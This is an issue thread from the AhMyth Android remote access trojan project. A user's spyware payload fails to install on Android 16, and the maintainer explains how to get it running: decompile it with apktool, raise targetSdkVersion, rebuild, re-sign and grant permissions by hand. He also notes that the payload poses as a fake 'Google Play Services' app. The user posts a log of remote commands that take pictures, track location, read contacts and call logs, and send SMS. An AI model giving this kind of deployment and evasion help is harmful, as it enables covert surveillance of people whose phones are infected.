client report: Unable to install apk payload on Android 16

[vardan-developer]

client issue description

When i tried installing the apk after disabling the Google play protect on my device, it started the install and then stopped with a message at the bottom saying You cant install the app on your device, not really sure what is causing this issue.

Error logs

Solution

No response

Additional context

I am using MacOS 26.0.1, and the client is One Plus 13

Acknowledgements

• This issue is not a duplicate of an existing client report.
• I have chosen an appropriate title.
• All requested information has been provided properly.

[vardan-developer]

I tried performing and ADB installation but got this error

Performing Streamed Install
adb: failed to install Ahmyth-aligned-debugSigned.apk: Failure [INSTALL_FAILED_DEPRECATED_SDK_VERSION: App package must target at least SDK version 24, but found 22]

[Morsmalleo]

I tried performing and ADB installation but got this error

Performing Streamed Install
adb: failed to install Ahmyth-aligned-debugSigned.apk: Failure [INSTALL_FAILED_DEPRECATED_SDK_VERSION: App package must target at least SDK version 24, but found 22]

Hmmmm, it would seem that Android 16 can only run older applications down to a certain limit.

In detail it seems that Android 16 is only able to run old apps that target at least Android SDK 24 which is Android 7.0, but the Payload is only configured for Android SDK 22 which is Android 5.1.

I'll leave this one up here since it's for an android version other than 13, 14 or 15.

Updates that I'm working on for the payload SHOULD take care of this problem

[vardan-developer]

I tried doing these changes

diff --git a/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml b/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
index 9b27017c..b49a407a 100644
--- a/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
+++ b/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
@@ -10,7 +10,7 @@ packageInfo:
   renameManifestPackage: null
 sdkInfo:
   minSdkVersion: '16'
-  targetSdkVersion: '22'
+  targetSdkVersion: '30'
 sharedLibrary: false
 sparseResources: false
 unknownFiles: {}

but i cannot see the connection in my server

[Morsmalleo]

I tried performing and ADB installation but got this error

Performing Streamed Install
adb: failed to install Ahmyth-aligned-debugSigned.apk: Failure [INSTALL_FAILED_DEPRECATED_SDK_VERSION: App package must target at least SDK version 24, but found 22]

Hmmmm, it would seem that Android 16 can only run older applications to a certain limit.

Android 16 seems to be able to run old apps built for a minimum of Android SDK 24, but the Payload is only configured for Android SDK 22 which is Android 5.1.

I'll leave this one up here since it's for an android version other than 13, 14 or 15.

Updates that I'm working on for the payload SHOULD take care of this problem

Basically for Android 16, if an app's targetSdkVersion is less than 24, which is "Android 7.0 Nougat", then Android 16 will block the install as it limits what apps that can run on its system based on their targetSdkVersion and if the minimum targetSdkVersionfor an app that's gonna be installed on Android 16 is Android 7.0 (SDK 24), then app's with a targetSdkVersion of 23 (Android 6.0) or lower will be rejected by Android 16's install checks.

One way you may be able to get around this is by decompiling the payload with apktool and open the apktool.yml file, locate the targetSdkVersion: part and change its value from 22 to 24 but doing this will require manually granting all permissions to the payload.

Seems that install-time payloads are definitely a thing of the past now if Android 16 is rejecting apps that target anything below Android SDK 24.

[Morsmalleo]

I tried doing these changes

diff --git a/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml b/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
index 9b27017c..b49a407a 100644
--- a/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
+++ b/AhMyth-Server/app/app/Factory/Ahmyth/apktool.yml
@@ -10,7 +10,7 @@ packageInfo:
   renameManifestPackage: null
 sdkInfo:
   minSdkVersion: '16'
-  targetSdkVersion: '22'
+  targetSdkVersion: '30'
 sharedLibrary: false
 sparseResources: false
 unknownFiles: {}

but i cannot see the connection in my server

This won't do anything, you never move things around or change things if you don't know what it does.

What you need to do when entering the apktool.yml file is just change the targetSdkVersion from 22 to 24, save the file, recompile and sign it, and install it. This is a dirty fix however, so don't expect it to work for every app. My advice, build a clean payload with AhMyth and then do exactly as I've described above in the apktool.yml file, then come back here with the results.

[vardan-developer]

I did that, i installed apktool, then ran the following commands
apktool d Ahmyth-aligned-debugSigned.apk to decompile, then updated targetSdkVersion to 24 and rebuild it using
apktool b Ahmyth-aligned-debugSigned -o ahmyth.apk then i resigned it as it was not installing without that, then i tried installing it, it got installed, it connected as well, but i was unable to do any thing on it, cant take a picture, cant see any files, and when i try accessing them there is not pop up for permissions as well

12/31/2025, 3:35:11 PM Get cameras list
12/31/2025, 3:35:16 PM Cameras list arrived
12/31/2025, 3:35:16 PM Snap a picture
12/31/2025, 3:35:23 PM Get Location..
12/31/2025, 3:35:25 PM Try to Refresh
12/31/2025, 3:35:28 PM Get Location..
12/31/2025, 3:35:28 PM Try to Refresh
12/31/2025, 3:35:29 PM Get Location..
12/31/2025, 3:35:30 PM Try to Refresh
12/31/2025, 3:35:33 PM Get Contacts list..
12/31/2025, 3:37:01 PM Get Calls list..
12/31/2025, 3:37:02 PM Get files list
12/31/2025, 3:37:02 PM That directory is inaccessible (Access denied)
12/31/2025, 3:37:18 PM Get cameras list
12/31/2025, 3:37:22 PM Cameras list arrived
12/31/2025, 3:39:18 PM Snap a picture
12/31/2025, 3:41:38 PM Snap a picture
12/31/2025, 3:41:57 PM Sending SMS..
12/31/2025, 3:41:57 PM SMS not sent

[vardan-developer]

Maybe sdk incompatability?

[Morsmalleo]

Maybe sdk incompatability?

Check one of my previous replies. I stated that this is a dirty fix and permissions would need to be manually granted. Like I said, updates I'm working on should fix this.

[vardan-developer]

Ok, one more thing, can i see the running application?? i tried it in the Settings > App Management but could not find it, is there any way??

I know it is running because it connects as soon as i unlock my phone but cant see where it is or what is its name

[Morsmalleo]

Ok, one more thing, can i see the running application?? i tried it in the Settings > App Management but could not find it, is there any way??

I know it is running because it connects as soon as i unlock my phone but cant see where it is or what is its name

The payload as of now, is a fake, visible "Google Play Services" app. The real "Google Play Services" app is not shown on the home screen ever, whereas the fake payload "Google Play Services" app is. So look just for an app called "Google Play Services" on your homescreen or in your phones app drawer. It will LITERALLY be the only Visible "Google Play Services" app there. 😊

[vardan-developer]

Ohh ok thank you so much for the prompt reply

[Morsmalleo]

Ohh ok thank you so much for the prompt reply

No problem 😁

[vardan-developer]

Ya so it worked completely once i manually gave it the required permissions